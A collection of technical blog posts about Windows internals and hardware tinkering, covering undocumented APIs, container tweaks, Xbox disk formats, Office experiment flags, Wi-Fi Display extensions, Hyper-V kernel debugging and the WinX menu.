Back in July 2015, I provided a code sample for turning on what, at the time, I called "Aero Glass" for Windows 10 desktop apps. (Since then, its name was revealed to be Acrylic.) This code was circulated to the far corners of the Internet and even made it into a shipping product at a very large company.

That's pretty cool.

But the underlying undocumented API has now changed and the sample code I provided early no longer functions correctly on late Redstone 4 builds.

Let's talk about what changed.

First, the AccentState enumeration changed, gaining a new constant specifically designed for Acrylic Blur use.

Second, the Accent Policy GradientColor member is now expected to be non-zero. Despite its unfortunate name (pulled straight from Windows symbols), this member controls the Acrylic tint/overlay and must be set to an RGBA value stored in little-endian word order (ABGR).

With some minor tweaks to the original sample, Acrylic is back. You can find an updated sample app on GitHub.

Reminder: This API is not supported and can change at any time.

(02/02/2018: Thanks @StartIsBack for hitting me over the head and clarifying a revision of this post that initially discussed a two-word GradientColor.)

What's That Gobbledygook in my Package Family Name?

2018-01-27T00:00:00Z

Appx applications have a notion of a "package family" in which all the individual packages belong to. For example, the Windows Photos app may ship on x86, x64, ARM32, ARM64, and IA64 platforms and each package belongs to the overall "Microsoft.Windows.Photos_8wekyb3d8bbwe" family.

A package family name consists of two parts, separated by an underscore: A Name (e.g. Microsoft.Windows.Photos) and a Publisher ID (e.g. 8wekyb3d8bbwe).

The Name is typically derived from a common Package Name (specified in the Appx Manifest) or specified manually by a developer.

The Publisher ID is a Crockford Base32-encoded representation of the first 8 bytes of the SHA-256 hash of the Publisher UTF-16 encoded string. Phew.

For example:

Publisher: CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
SHA-256 hash: 471D3F2C6D42D7C7FACEEF1ADD20881817082D593D8B7B3E229B3617E4CD2A18
... first 8 bytes: 47 1D 3F 2C 6D 42 D7 C7
Crockford Base32 encoded (no padding bytes): 8wekyb3d8bbwe

Using the Base3264-UrlEncoder package available on Nuget (Eric Lau, Mhano Harkness), you can write a few lines of code to calculate this yourself.

Access host COM ports from a Windows Server container

2017-10-24T00:00:00Z

I field many questions from folks trying to containerize messy legacy apps. Some of the more interesting apps have been line-of-business apps with arcane licensing requirements (e.g. physical dongle) and radio communication apps (e.g. those requiring a GPS).

Windows Server does not ship in a configuration that allows for Windows Server containers to access host COM ports.

But you can change that.

Unlike Hyper-V containers, which rely on a special virtual machine for kernel-level isolation, Windows Server containers simply use Windows Server Silos to isolate processes from the host machine. Windows Server ships with a default silo configuration that aligns it with container mantras around container ephemerality, immutability, scability, etc. You can tweak that configuration to meet your needs.

For example, here's a step-by-step to bring in a COM port:

Take ownership of \Windows\System32\Containers\wsc.def and give yourself write access. (Make a backup copy!)
Open up wsc.def with your favorite text editor.
COM port symlinks typically live in the Global?? object directory, so add the appropriate symlink under <objdir name="GLOBAL??" ...>. (For example, using WinObj, I determined my COM1 is a symlink to \Device\Serial0 and added <symlink name="COM1" path="\Device\Serial0" scope="Global" />.)
Add the appropriate symlink for the device under <objdir name="Device" ...>. (Continuing the example above, I added <symlink name="VCP0" path="\Device\VCP0" scope="Global" />)
Save the file and relaunch your container. (The vmcompute process reads the rules at container startup.)
Type mode at the command prompt to verify your COM port is now visible.
Brace yourself for disappointment when updates come down from WU in the far future and blow away your changes.

As you've probably figured out by now, you can expose way more than just COM ports -- almost anything can be exposed to containers. Be careful.

I did some limited testing on my end with a FTDI serial cable connected to a radio. Shoot me an email if this worked (or failed) for you.

opencv-python on Windows Server Core

2017-09-09T00:00:00Z

When attempting to install and load the opencv-python package, you may run into the following error on Windows Server Core images (e.g. python:2.7-windowsservercore):

Traceback (most recent call last):
  File "", line 1, in 
  File "C:\Python\lib\site-packages\cv2\__init__.py", line 9, in 
    from .cv2 import *
ImportError: DLL load failed: The specified module could not be found.

This error pops up because opencv relies on ancient Video for Windows, Microsoft AVI, and Microsoft ACM Audio components, none of which ship with the Windows Server Core base image.

If you need to use parts of opencv that don't rely on these components, copy the following libraries from your container host into the container's \System32 folder (assuming 64-bit usage here, adjust accordingly).

msacm32.dll
avifil32.dll
avicap32.dll
msvfw32.dll

Docker Recipe: Media Foundation on Windows Server Core

2017-09-03T00:00:00Z

Applications, like Plex Media Server, rely on the Media Foundation Platform for access to codecs, hardware devices, and DirectX Video Acceleration. Media Foundation is built into consumer versions of Windows, but is an optional bolt on for Windows Server for obvious attack surface/footprint reasons.

Installing MF in optional environments like Server Core is typically easy enough. A simple PS> Install-WindowsFeature, a reboot, and you're done. Container authors, however, will struggle with Media Foundation for several reasons:

Media Foundation packaging is marked with 'reboot required' metadata
Component Based Servicing (CBS) respects this metadata and goes down the path of configuring the system for pending service operations (e.g. \WinSxS\pending.xml) to run at power on/off
Of course, servicing the base image isn't a supported scenario, so the components involved (poqexec.exe) fail (e.g. NtFsControlFile failures in Windows::Rtl::TxfLogExpander::GetCurrentContainerCountMax) and CBS never gets to finish

The Media Foundation package authors clearly had a reason to mark this package as "reboot required" but that may have been before the advent of containers and the minimal subsystem within.

If you want to experiment with the Media Foundation Platform package in a container (unsupported), you will need to modify the package metadata to not require a reboot prior to installing the package.

Here's a contrived PowerShell example you can execute in your Dockerfile:

Get-ChildItem "$Env:SystemRoot\Servicing\Packages\*Media*.mum" |
ForEach-Object {
  (Get-Content $_) -replace 'required','no' | Set-Content $_
}

If you prefer to be explicit (recommended), you'll want to patch up:

Microsoft-Windows-Media-Format-Package~31bf3856ad364e35~amd64~~10.0.14393.0.mum
Microsoft-Windows-Server-Media-Foundation~31bf3856ad364e35~amd64~~10.0.14393.0.mum

Feel free to reach out if you run into any other snags. You can find me in the Windows Containers forum on MSDN or contact me using the links on the blog.

Office apps and the Mso::ChecksumRegistry::Data algorithm

2017-09-01T00:00:00Z

Nearly all Microsoft apps have experimentation code built-in these days. This code is typically used to facilitate A/B testing externally but internally, it can problematic if left on. (Imagine trying to reproduce a bug in a feature that's turning itself on/off or behaving differently across machines.) This is why most apps also house a feature or experiment control panel, hidden to all except those typically on the owning team.

Story Remix has a panel, for example, that appears when a specifically named .json file is present on disk and populated with specific values. Groove Music relies instead on specialty registry values locked down to specific geographic markets. Office apps also use the registry, but with an added obfuscation twist.

I haven't fully mapped out how Office apps store all their experimental settings, but we're going to talk about one area today:

LocalState\HKCU\Software\Microsoft\Office\16.0\Common\ExperimentTas\[app]\Flights

The registry value names are straightforward -- they represent an arbitrary name assigned to an experiment or feature and hardcoded into the app. The registry value data represents a structure, serialized to a UTF-16 string, in the form [field]|[fieldType]|[fieldValue];[settingType]|[settingValue]. (This is then stuffed into a composite value, hence the 0x5f5e10c type and extra bits at the end that are out of scope for the blog post.)

A more concrete example:

Value: Microsoft.Office.Experimentation.ABC
Data: Mso::ChecksumRegistry::Data|uint64_t|9215221962101605702;bool|1

The signed (yes, despite the declaration) 64-bit checksum value is computed by taking the value name, setting type, and setting value, concatenating them together, and running it through the Fowler–Noll–Vo (variant 1a) hashing function.

Using our example data above, let's walk through this:

Glue the pieces together: Microsoft.Office.Experimentation.ABCbool|1
Run it through once with hardcoded initial offset basis: step2 = FNV1a(string_bytes, 0xCBF29CE484222325)
Use that as the initial offset basis for another run, with a hardcoded chunk of data this time:
hash = FNV1a([0xb7, 0x3c, 0x75, 0x96, 0xd5, 0x79, 0x13, 0xa5, 0xc8, 0xe5, 0xb2, 0xa2, 0xaf, 0x2b, 0x44, 0xff], step2)
Serialize the hash and stuff it into the pattern above

If you implement this correctly, with say the Microsoft.Office.Experimentation.ShowExperimentSettings registry value, you'll end up with a hash of 2507011508917168823.

And a shiny new control panel to play with.

Registry values in the LocalState\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentEcs\[app]\Flights key use a different type of obfuscation that I'll cover in the next post.

Notes on swapping the internal Xbox One hard disk for a solid-state disk

2016-12-12T00:00:00Z

In a desperate effort to improve the Xbox One user experience (UX), I experimented with swapping out the Samsung Spinpoint M8 5400 RPM hard disk for a solid-state disk (SSD). My hypothesis at the time was that the disk, because of its slow speed, must be very busy and that swapping it out would yield a noticeable performance boost to the operating system and improve overall UX.

It didn't.

But a few folks on Twitter expressed interest in reproducing the experiment so here are my notes. (Thanks for your patience, Stefán!)

Hardware Considerations

All Xbox consoles ship in storage configurations (e.g. 500GB, 1TB) that have this configuration burnt into its flash memory. This configuration is used to rebuild the partition layout on the internal disk in recovery scenarios, presenting an obstacle for a quick and easy disk swap.

That means an Xbox One 500GB will always want to restore a partition layout compatible with a 500GB disk.

All Xbox consoles ship with a SATA2 controller. The Xbox One S ships with a SATA3 drive but the same controller, limiting the drive to theoretical SATA2 speeds. This part swap was likely due to the scarcity and current cost of SATA2 disks.
The wireless chipset reports antenna status to the operating system. If this is not plugged in, you will not be able to complete the out-of-box-experience (OOBE), even in a wired configuration.

Software Considerations

Encrypted container use is common on this platform. This presents a hypothetical hardware configuration data persistence problem when migrating data from one disk to another.
The boot loader appears to maintain state about previous successful/unsuccessful boots, which could lead to unexpected behavior when swapping disks. (More testing is needed in this area.)
Anti-rollback protection is present and used, preventing use of older versions of the OS after an update. This can invalidate hard disk backups very quickly.
The disks are set up with a standard GUID Partition Table layout, with strict validation of both header and partition array CRC32 checksums.
All partitions must also be assigned a well-known GUID. This should not be confused with the partition type GUID.
I did not test if the disk identifier was also used/validated, but it's not unreasonable to assume such.
I did not test if the backup GPT header (backup LBA) was used/validated.
The GUID Partition Table entry order is not validated. You can re-order partitions, given you continue to meet the requirements above.

As the Temp and User partitions are likely to be most busy, it makes sense to stuff those on the larger, outer hard disk tracks. Their adjacency also allows for short disk head travel for the inevitable back and forth.

But programmatically generating the User partition on non-standard disks can be tricky due to being positioned in the middle of the table. Some opted for simplicity and round to the nearest gibibyte and ignore what's left. PowerShell made this easy to implement accurately but it's not necessary.

It's possible I missed the one application that retrieves an enumerable list of partitions and selects a partition using a hard-coded index. But the odds of that kind of code surviving a code review at Microsoft are high.

Software updates to the Xbox One OS may not be compatible with the new storage, I have yet to receive an update to my test device. I did, however, enable dev mode successfully with no side effects.

Tools Used

Windows 10
My Xbox partitioning PowerShell script
I used an inexpensive StarTech USB 3.0 to SATA adapter to read and write to the external disks.
Active@ Disk Editor, HxD, and HDD Raw Copy Tool were handy during script development.

Procedure

Disassemble the Xbox One and remove the disk.
Use a USB to SATA bridge to copy the contents of the disk to the PC.
Use partitioning script to ready a blank SSD for Xbox One use.
Copy the contents of the disk (i.e. each partition) to the newly prepared SSD
Plug the SSD into the Xbox One and boot.
The Xbox One may exhibit odd behavior at this point. It may boot but report free space incorrectly, or it may not boot at all. This is the hypothetical hardware configuration data persistence problem I was referring to. To fix this, I reset the console.
Restore the Xbox One to its factory defaults. Be sure to complete OOBE and gracefully shut down the Xbox One after that's completed.
At this point, Xbox One has restored the original partition layout on the disk, which is not what you want. (See considerations above.) But the characteristics of our disk should be implanted within a container somewhere, which is great.
Remove the SSD from the Xbox One.
Use a USB to SATA bridge to copy the contents of the SSD to the PC.
Use partitioning script to wipe and ready the SSD for Xbox One use again.
Copy the contents of the SSD back to the prepared blank SSD.
Plug the SSD into the Xbox One and boot.

The Xbox One should now report the available free space correctly and everything should be functioning normally. Be sure to read the considerations above for potential future gotchas.

Adding the "Aero Glass" blur to your Windows 10 apps

2015-07-08T00:00:00Z

(Update: At the time of writing, Fluent had not yet been fully revealed. We now know this to be the start of Acrylic Blur work.)

Since the reintroduction of Aero Glass in Windows 10, I've been receiving questions on how to incorporate that functionality into 3rd party applications. A few nights ago I looked into it and here's my guidance:

Abandon code that uses DwmEnableBlurBehindWindow. This function hasn't been deprecated, oddly enough, but is effectively dead on Windows 10. Stop using it. (Also consider abandoning DwmExtendFrameIntoClientArea.)
Start using SetWindowCompositionAttribute directly. It's not officially documented but here's the plumbing you need, if you're writing C# utilizing Interop Services tooling:
On the view side, you don't need to worry about chroma keys anymore! Simply ensure your window uses a (background) brush with an alpha channel and the compositor will handle the rest.

The sample project I used to create the screenshot above can be found on GitHub.

Have fun!

Running your own app at the click of the Surface Pen button

2015-05-09T00:00:00Z

Thursday, I picked up a Surface 3 — my first Surface with pen input — and was surprised at the lack of customization options for the pen's top button. Searching around, I found some clever hacks using AutoHotkey and EventGhost but I wasn't really interested in installing middleware. So I took a peek under the hood and found an inbox solution instead.

Thankfully, Microsoft was nice enough to bake in some overrides for which app gets launched. These overrides, unsurprisingly, live in the Lockscreen ClickNote component (lockscreencn.dll).

Upon every click of the pen button, this component reaches out to a registry key, specifically \Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\CN.

It looks for an AppID or DesktopAppPath value and if one is found, retrieves its data and executes an immersive or desktop app accordingly. Otherwise, OneNote is launched via a built-in AppID: Microsoft.Office.OneNote_8wekyb3d8bbwe!Microsoft.OneNoteIm

Before you go stuffing Notepad or your app into the DesktopAppPath value, be aware that the path is passed through GetFileAttributes to test for existence. And before passing through ShellExecuteEx, a command line argument of /screenclip, /fromlockscreen, or /hardwareinvoke is tacked on, depending on how the button is clicked or the state of the Surface at time of click. So, for example, if you want to avoid Notepad complaining about the lack of a /hardwareinvoke.txt, you will want to wrap it in a script.

I haven't spent much time on the immersive app side, so am eager to see what folks do in that space. I plugged in FreshPaint's AppID, for example: Microsoft.FreshPaint_8wekyb3d8bbwe!Microsoft.FreshPaint

... and had mixed (but mostly positive) results.

Free idea corner: PowerPoint could benefit from button-based slide navigation. An app-aware button remapping hub would be cool too.

Microsoft is embracing and extending Wi-Fi Display

2015-03-30T00:00:00Z

As part of a recent open specifications update, Microsoft has revealed it's extending the Wi-Fi Display specification to improve a number of wireless display scenarios. These extensions are described in the MS-WFDPE-Preview and MS-WDHCE-Preview specifications and include additions like a low-latency stream to carry mouse cursor data, a method of managing desired latency, and better error reporting.

Let's take a look at each of the additions.

Dynamic resolution and refresh rate

In scenarios where the source device changes video stream resolution or refresh rate -- think gaming -- devices normally require Real-Time Streaming Protocol (RTSP) renegotiation or, more often, freak the hell out and require you to restart your streaming experience. To smooth that over, Microsoft is introducing a method of detecting these changes (and a way for devices to report they support such). More specifically, devices that report support for this feature will monitor the H.264 stream's sequence parameter set/picture parameter set (SPS/PPS) for changes in resolution and frame rate and will adapt seamlessly.

Latency management

When it comes to latency, we typically think lower is better. But that's not always the case. For example, gamers require low latency to minimize input lag. Because video frames are pumped through as fast as possible, it's common for some tearing or artifacts to appear. But movie viewers don't care about latency. They want a pixel perfect jitter-free viewing experience. To achieve that, devices may extend their input buffer and hold onto video frames longer, a method that introduces a measurable but completely acceptable amount of latency.

The device manufacturer's dilemma surfaces here: Do they optimize for gaming? Or for casual movie viewers? Or do they release two SKUs of the same hardware with slightly tweaked software?

To overcome this huge pain point, Microsoft is introducing a capability for devices to receive a "latency mode" from source devices. The idea is that the source will have the context and responsibility of communicating the user's intended use of the wireless display. For example, the source could detect which app is in use (e.g. Windows Media Player or Microsoft PowerPoint) and send the appropriate latency mode (e.g. high or low, respectively).

Separate mouse stream

Wi-Fi Display is pretty simple in terms of its inputs. It supports one stream that is chock full of audio and video data. That works great for movies but not so much for scenarios involving input. And that's especially true for a mouse.

Microsoft is introducing a capability that will eliminate the move-the-mouse-and-wait game by decoupling the mouse from the video completely. This works by enabling a source device to send a separate mouse stream to a target device. The receiving side would then be responsible for combining the mouse cursor data with whatever is being displayed on the screen at the time.

If this sounds familiar, that's because Microsoft already does something very similar as part of its Remote Desktop Protocol (RDP).

Error reporting

You're streaming a game then poof, the stream is dead. What happened? From the perspective of the source device, you lost connection to the target. It knows something happened. But that's all the information you're going to get. Good luck troubleshooting that.

Microsoft is introducing a more formal method of reporting error details back to the source device. Supported devices will be on guard for "teardown" requests and provide reasons to enhance diagnostics and improve overall usability.

Richer metadata

Microsoft is also opening up some metadata enhancements made by Intel for its Intel Wireless Display (WiDi) solution. (These enhancements are listed in the tightly controlled Intel WiDi Specification.) Devices can use Intel-defined fields to report back rich metadata such as a friendly name, support URL, version, and logo.

Device support

From an operating system perspective, most of these features are available for use in Windows 10 Technical Preview. But my testing indicates no devices currently implement the new capabilities. This is likely a sign of a Microsoft Wireless Display Adapter update on the horizon.

Wi-Fi Display dongles and associated latencies table

2015-02-27T00:00:00Z

I've written about the Wi-Fi Certified Miracast program (and related Wi-Fi Display specification) before, so I'll spare you the intro. But what you may not know is that for about two years now, I've been testing and collecting wireless display dongles, an esoteric hobby for sure. Per request, I put together a chart of my devices and associated latency observations and am sharing that today.

When I refer to latency, I'm talking about the time it takes for an image on a source device (e.g. a Surface Pro) to appear on the target device (e.g. TV).

My test parameters are as follows:

Source device: Surface Pro
Target device: LG 47LG70
Distance between devices: 3ft
Resolution: 1080p @ 30fps

Testing involves running a simple program that displays a counter and loops through a movie trailer that covers over 90% of the screen to exercise motion compensation algorithms and observe quality and latency hits, if present. I then take a picture with a DSLR of both the source and target (in the same frame) and subtract the counts to determine latency.
CostFirmwareAvg. Latency (ms)Works with WindowsMiracast CertifiedActiontec ScreenBeam Pro $68.99 1.1.1.1083YesYes MOCREO iPush $41.80 3.0.0-rc1NoNoNetgear Push2TV (PTV3000)$48.99 2.4.53116.3YesYes Samsung Wi-Fi AllShare Cast Hub $68.98LJ02NoNoLenovo Wireless Display Adapter (WD100-SL)$29.51Unknown143.5YesNoBelkin Miracast Video Adapter (F7D7501)$59.99 2.51376Yes, but unstableYes Microsoft Screen Sharing for Lumia Phones (HD-10)$69.99 2.0149.8YesYes Amazon Fire TV Stick $39.99 54.1.1.02971.13Yes, but unstableYes Microsoft Wireless Display Adapter $57.981.083.16YesYes Tronsmart T1000 Mirror2TV $29.9913414176.66YesNoXbox One 🔧$345.996.2.12815.0106.8Yes, but unstableNoHDMI cable reference$5.0932YesNo
🔧 Xbox One latency was measured with different hardware (Surface 3), so its number isn't directly comparable to the other devices. This will be fixed when all devices are re-tested with new hardware.

Changes

03/31/2015 - Amazon Fire TV Stick now works with Windows, measured latency added

05/01/2015 - Added preliminary latency for Xbox One

05/15/2015 - Modified latency for Xbox One using new Surface 3 hardware

jQuery(document).ready(function(){
$('#raw_data').dataTable({
"bPaginate": false,
"bFilter": false,
"bInfo": false
}
);
});

Building a Microsoft Wireless Display Adapter base image

2015-02-22T00:00:00Z

After I picked up (and disassembled) a Microsoft Wireless Display Adapter, I started bugging Microsoft for the source code to the Linux-powered base image -- the underlying host operating system and support infrastructure. After three months of back and forth, the Source Code Compliance Team finally uploaded a buildroot that can be used to generate a base image. Unfortunately, it came with zero documentation.

Here's my general step-by-step on building the base image with Hyper-V and CentOS 7. Feedback is welcome.

Create a virtual machine and install CentOS 7.
- If you choose to go down the Generation 2 VM route (recommended), don't forget to shut off Secure Boot.
- Ensure you create a non-root administrative user during install. Mine will be rafael and will be used for all commands henceforth.
Download the buildroot.

You only need the buildroot package from the Third Party Source Code Disclosures website.

A little background: Initially, Microsoft uploaded a bunch of smaller buildroot output artifacts. But after some back and forth, I was able to convince them to upload the buildroot itself, making the other files less useful.

You'll also want to get the zip copied over and unzipped in the virtual machine. The following instructions will assume you unzipped the buildroot folder in the user's home directory (~/buildroot).

Install some prerequisites.

Buildroot requires a few packages to operate. They can be installed easily via one command:

sudo yum install net-tools flex which sed make bison binutils gcc gcc-c++ bash patch gzip bzip2 texinfo perl tar cpio unzip rsync wget ncurses-devel cvs git mercurial subversion python bzr

If you decide to use 64-bit version of CentOS, you'll also need some 32-bit support packages. They, too, can be installed easily via one command:

sudo yum install compat-libstdc++-33.i686 libstdc++.i686 libstdc++-devel.i686

Build an old ldconfig

Due to a bug in newer versions of the GNU C Library, ldconfig has trouble with ARM architectures. So we need to grab a working copy and recompile ldconfig for the toolchain. (Alternatively, we could downgrade the entire OS.)

Let's first set up the required root folder then download and extract the software:
```
mkdir glibc-build
cd glibc-build
wget http://ftp.gnu.org/gnu/glibc/glibc-2.15.tar.gz
tar -zxvf glibc-2.15.tar.gz
```
Now, still in the root folder we created, issue the commands:
```
./glibc-2.15/configure --prefix=/usr
make
```
Compilation will take a few minutes. When it's done, copy the replacement ldconfig into the buildroot toolchain:
```
cp ./elf/ldconfig ~/buildroot/output/host/usr/bin/arm-none-linux-gnueabi-ldconfig
```
Configure Buildroot 2012.02

Before we can build the toolchain and packages, we need to write out a .config file. First, enter the buildroot folder and issue the command:
```
make menuconfig
```
In the configurator that appears, select Load an Alternate Configuration File and provide the following configuration file: ~/buildroot/microsoft.buildroot_config

(Microsoft has provided a slew of configuration files but none of them perfectly match the retail device configuration. For our purposes, however, it's good enough. You're free to select more packages for compilation.)

Exit the configurator and save your changes.

Now let's quickly fix up some missing execute permissions and we'll be ready to go:
```
chmod +x ~/buildroot/support/scripts/*
chmod +x ~/buildroot/support/gnuconfig/config.guess
chmod +x ~/buildroot/support/dependencies/*.sh
```
Build a base image

This part is easy. Still in the buildroot folder, simply issue the command:
```
make
```
And wait.

My virtual machine was configured with a mere 1GB of RAM and 4 virtual processors clocking in at 3.4ghz. The build completed in about 10 minutes.

After the build completes, you'll have a nearly complete root filesystem for the adapter stored in the target folder.
Deployment?

Microsoft hasn't provided the scripts or steps necessary to create an actual image to flash onto the Microsoft Wireless Display Adapter, so the instructions must come to abrupt end here.

If you have root on the device -- coming in a later post -- you can use the toolchain to compile packages and transfer them over to the device.

Know how to take this further? Or how to connect to/reflash NAND? Or have experience building jigs? Email me. I'd love to pick your brain.

How to set up synthetic kernel debugging for Hyper-V virtual machines

2015-02-01T00:00:00Z

Windows 8 (and Windows Server 2012) introduced a new debugging transport called KDNET. As the name implies, it allows kernel debugging over a network and can be faster and easier to set up than its predecessors (e.g. COM and IEEE 1394).

MSDN has great background information on setting up kernel debugging via Visual Studio and by hand, however, Microsoft's official stance on virtual machine debugging is to continue using the old and slow serial port. Even on generation 2 virtual machines. This makes some tasks, like dumping memory or resolving symbols, a slow and tedious task.

But unofficially you can instead use what's internally referred to as "synthetic debugging".

Figure 1 - Simplified Synthetic Debugging Architecture

To understand how it works, first consider a common KDNET scenario on a physical machine. When KDNET is enabled, the Microsoft Kernel Debug Network Adapter built into Windows takes over (and shares) the physical network device installed in the machine. Communication to and from the machine (and kernel debugger) occurs over the network as expected and life is grand. But virtualized environments (in child partitions) add another layer of abstraction to the underlying hardware that presents a problem -- the Kernel Debug Network Adapter cannot latch directly onto the physical network device.

Cue the magic behind synthetic debugging.

To overcome the inability to directly control network hardware, KDNET was built with smarts to detect virtualized environments and switch to communicating over VMBus -- a inter-partition communication mechanism -- with the host operating system (in the parent partition), as shown in Figure 1. The parent then exposes a KDNET endpoint for you to communicate with the virtualized environment over the network. With this set up, the virtualized environment doesn't require network connectivity!

To set up synthetic debugging (for Windows), you need to be running:

Windows 8 or Windows Server 2012+ on the host side
Windows 8 or Windows Server 2012+ on the guest side (generation 1 or 2)

Here's the step-by-step:

On the guest machine, open an elevated command prompt and issue the commands:
```
bcdedit /dbgsettings NET HOSTIP:1.2.3.4 PORT:55555
bcdedit /debug on
```

When KDNET kicks in and detects the virtualized environment,
the HOSTIP and PORT parameter values are ignored, in favor of the
VMBus.

Copy the key value displayed and keep it handy.

On the host machine, open an elevated Powershell instance and run the following script after adjusting the VMName and DesiredDebugPort values:

$VMName = "Virtual Machine name here"
$DesiredDebugPort = 55555

$MgmtSvc = gwmi -Class "Msvm_VirtualSystemManagementService" `
    -Namespace "root\virtualization\v2"

$VM = Get-VM -VMName $VMName
$Data = gwmi -Namespace "root\virtualization\v2" `
    -class Msvm_VirtualSystemSettingData `
    | ? ConfigurationID -eq $VM.Id

$Data.DebugPort = $DesiredDebugPort
$Data.DebugPortEnabled = 1
$MgmtSvc.ModifySystemSettings($Data.GetText(1))

Be sure to specify an open ephermeral (49152-65535) UDP port here.

When the machine is powered on (or reset), the virtual machine's specific Virtual Machine Worker Process (vmwp.exe) will attempt to bind to that port on all (management) interfaces.

Power cycle the guest machine. A reset is not sufficient as it doesn't tear down the Virtual Machine Worker Process.
On any machine on the network, connect a debugger to the Hyper-V host machine with the port and key from earlier. For example, to connect with WinDbg, issue the following command:
```
windbg.exe -k net:target=hyperv-host,port=55555,key=a.b.c.d
```

When not configured correctly, synthetic debugging can be quite a pain to troubleshoot. Here are some tips if you run into problems:

Ensure the guest is running Windows 8 or above and the active BCD entry is configured correctly (via bcdedit).
Ensure the guest's Virtual Machine Worker Process has bound to the port you specified with TcpView or CurrPorts. This can be extremely problematic if your Hyper-V host is also a DNS server like mine.
Ensure no other virtual machines are configured to use the same port.
Ensure any firewalls in the way are configured to allow UDP traffic through via specified debug port.

Happy debugging!

New experimental console features in Windows "Threshold"

2014-09-30T00:00:00Z

Microsoft is expected to deliver its first technical preview release of Windows codenamed "Threshold" tomorrowish. And while the usual outlets will be covering the big changes, I wanted to document a relatively smaller set of welcome changes to the Command Prompt (and the underlying Console Host).

Here's the new experimental tab in Threshold's Command Prompt properties window. This tab exposes switches that turn on and off new experimental features that apply to all console windows -- including the one that hosts PowerShell.

Let's go over them.

Enable line wrapping selection

In previous versions of the Command Prompt, selecting text for copy involved crudely painting a selection box on the screen and hitting the Enter key. But you weren't done. You also had to paste that text into a text editor to correct the abrupt line endings. It was a terribly slow and error-prone process.

But that's all in the past now.

In Threshold, you can now select and copy text as you would expect to in any text editor.

Filter clipboard contents on paste

Ever pasted in a command only to realize (after it errored out) it was peppered with tabs and fancy quotation marks? I have. And I won't ever again, thanks to a new paste filter in Threshold.

Now when pasting text, fancy quotation marks are converted into their straighter equivalents and stray tabs are removed.

Wrap text output on resize

Resizing the Command Prompt window has always been an alien task. If you somehow managed to get the window to shrink, a horizontal scrollbar would appear and text would remain static and not reflow or wrap given the new constraints.

With this feature enabled, however, the window and its text behave the way you expect.

Enable new Ctrl key shortcuts

Some handy new keyboard shortcuts have found their way into the new Command Prompt as well. I say some because I can't be sure I covered them all. We'll have to wait for the official documentation to come online.

CTRL + A - Select all
CTRL + C - Copy
CTRL + F - Find
CTRL + M - Mark
CTRL + V - Paste
CTRL + ↑/↓ - Scroll (line) up/down
CTRL + PgUp/PgDn - Scroll (page) up/down

Extended edit keys

There's not a lot of information available on extended edit keys. This feature has existed in Windows for quite some time but has never really been exposed to users until Threshold.

We'll have to wait for the official word on this feature.

Trim leading zeros on selection

If you find yourself working with a lot of numerical data in the Command Prompt, you may want to turn this on.

When selecting a number with leading zeros (e.g. via double-click), the selection box will begin after any insignificant zeros present. For example, 000001234 becomes 1234. Hexadecimal and decimal prefaced numbers, however, override this rule. That is, 0x1234 and 0n1234 remain selectable in their entirety.

Opacity

This one is an oddball.

This slider ranges from a ghostly 30% all the way up to 100% (default). But it affects all console windows on your system and the entire host window, not just the background. (That color is still tweakable via the Properties window, mind you.)

As translucency increases, text readability decreases, so it's not immediately clear who would ever use this. But it's a neat technical demo and nods at the Windows enthusiast crowd that has undoubtly been asking for this for years.

Taking a peek at Xbox One-formatted disks in Windows

2014-06-24T00:00:00Z

A few weeks ago Microsoft pushed out an update to Xbox One, enabling support for external storage via its USB 3.0 ports. It works as you would expect -- you plug in a disk, it gets formatted, and away you go. But you lose the ability to use that disk on other PCs and devices. Let's take a look at why.

Here's what an Xbox One-formatted disk looks like on a Windows PC via Disk Management:

Windows clearly has no idea what's going on here, which isn't surprising. The Not Initialized state here indicates the disk doesn't have the expected Master Boot Record (MBR) at the beginning (sector 0) of the disk.

Here's what the beginning of the disk looks like in a hex editor:

On a traditional disk, the first 446 bytes of this sector would contain bootstrap code used for boot purposes. The Xbox One isn't booting from the disk so this area is blanked out with the exception of some placeholder bytes near the end.

The bytes that follow represent various disk and partition parameters.

The EE byte sits in the partition type slot and is used by Microsoft to indicate a GUID Partition Table (GPT) partitioning scheme is in use. Windows should have no problem recognizing this.

The last two bytes of sector 0 signify what's called the boot signature -- an arbitrary but known marker to indicate that this sector represents a MBR structure and isn't just a bunch of random data. Windows (and most systems) expect these two bytes to be 55 AA (0xAA55). The Xbox One, however, opted for 99 CC (0xCC99). This is why Windows thinks the disk is uninitialized.

Overwriting the boot signature with the expected bytes and unplugging/replugging the drive results in a happier Disk Management tool.

And here's a view from File Explorer:

(That file with the GUID represents the Netflix app that I copied onto the disk.)

Presumably, you could write some code to swap the boot signature bytes to flip-flop between PC and Xbox One disk compatibility. But I'd be weary of relying on any data stored on this file system given Windows still thinks "there's a problem with this drive". I suspect, like FAT on Xbox 360, the NTFS filesystem structure was tweaked to meet the needs of Xbox One.

Maybe we should start calling this NTFSX.

The WinX Menu and its hashing algorithm

2014-04-04T00:00:00Z

This post first appeared on Within Windows on April 4, 2012.

Last week, a reader – "Windows Fan" – tipped me off to an article on Vishal Guptas blog indicating how to customize the new WinX menu in Windows 8. (You know, the menu that appears when you right-click the lower-left Start tip.) Not happy with hacking core system files and peeling back file system security, I dug a little deeper to understand what's going on and came up with a simpler solution.

So let's start at the top. The WinX menu is a simple context menu that appears when you right-click the Start tip that appears when you squish the mouse into the lower-left corner of the screen. The purpose of the menu is not to act as a Start Menu replacement but rather as a springboard to perform advanced system functions that are slightly out of reach. For example, if you’re trying to kill a runaway system process, you will probably need quick access to Task Manager, an elevated Command Prompt, and perhaps Programs and Features to uninstall the culprit app. Launching those applications in succession via the Start Screen would be a pain in the rump.

The entries on the menu are driven by shortcut (.lnk) files present in each Group folder located at %LocalAppData%\Microsoft\Windows\WinX. But you can’t manipulate the shortcuts within or add new ones. That’s because at first invocation (e.g. a fresh boot), the menu scans for and only adds approved shortcuts. Why? Again, Microsoft doesn’t want this becoming another Start Menu or, worse, an icon landfill for installers a la Quick Launch back in Windows Vista.

But an argument could be made for that small sliver of folks who genuinely want to lightly extend the menu, perhaps with utilities such as Process Monitor and DebugView. So let’s talk about what makes an approved shortcut.

An approved shortcut – a moniker I made up – is a .lnk file that has the appropriate markings to indicate to Windows “Hey, I’m special.” The marking is a simple 4-byte hash of several pieces of information. From the .lnk itself, two points are collected:

The link’s target application path/file (e.g. C:\Games\Minecraft.exe)

The link’s target application arguments (e.g. –windowed)

